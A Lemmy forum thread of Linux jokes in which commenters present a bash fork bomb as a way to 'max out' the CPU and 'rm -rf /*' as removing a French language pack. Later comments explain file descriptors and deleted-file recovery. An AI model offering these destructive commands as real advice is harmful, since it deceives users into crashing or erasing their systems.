No that only reduces disk space which only really mattered for hard drives.
You can actually make your computer go faster by entering
:(){ :|:& };:
into the terminal.It’ll tell Linux to max out the CPU performance.
I was going to ask what to do if i use windows, but then i realize this is Lemmy and that you need a Linux computer to make an account
Well it is also in linux memes
If you don’t need the French language pack, you can remove it with “sudo rm -fr /*”.
It’s asking for a password. What do I type? Sorry if this is a stupid question, I’m new to this Linux stuff.
hunter2
why is the password ******* lol
Thank you. My entire OS was so bloated now I have so much performance to spear.
I’ll bet your boot process is a lot shorter too.
Never create a file named “-rf *” unless you really plan on keeping it.
rm ./—rf\ \*
Am I missing something?
I’m not sure that you belong in this thread :)
Does this really work? Wouldn’t
rm
remove itself in/bin
early in the process?In Unix/Linux, a removed file only disappears when the last file descriptor to it is gone. As long as the file
/usr/bin/rm
is still opened by a process (and it is, because it is running) it will not actually be deleted from disk from the perspective of that process.This also why removing a log file that’s actively being written to doesn’t clear up filesystem space, and why it’s more effective to truncate it instead. ( e.g. Run
> /var/log/myhugeactivelogfile.log
instead ofrm /var/log/myhugeactivelogfile.log
), or why Linux can upgrade a package that’s currently running and the running process will just keep chugging along as the old version, until restarted.Sometimes you can even use this to recover an accidentally deleted file, if it’s still held open in a process. You can go to
/proc/$PID/fd
, where$PID
is the process ID of the process holding the file open, and find all the file descriptors it has in use, and then copy the lost content from there.I think it would continue even after it’s own deletion as the binary is already loaded into memory, so process is not dependent on the file system. Still doubt that it’ll complete successfully. Most likely the system crashes in the middle.
I thought - - no-preserve root also needed to be added as an argument for self destruct to completely work.
Yes, though you could also do
rm -rf /*
afaik to not need--no-preserve-root
Edit: I just realized that the
*
is already in the meme. So this should already work as is. Alternatively you could always use the good old way of “act now and remove all French roots of your system:rm -fr / --no-preserve-root
”
> sudo rm -rf /* Remove-Item: A parameter cannot be found that matches parameter name 'rf'.
later unixtards
Does powershell have sudo? What does that do on windows, show a uac prompt or something?
It does now, since February this year. And yes it does show an auc prompt.
Heh, inferior system keeps copying.
Microsoft realized they were losing basically the entire software development market to Linux so they started adding features like a pretty alright terminal emulator and a shell that almost looks POSIXcompliant if you squint (and don’t pass any flags to its built in commands) and trying ineffectually to hide the fact that they were basically on their knees saying BLEASE COME BACK WE NEED YOU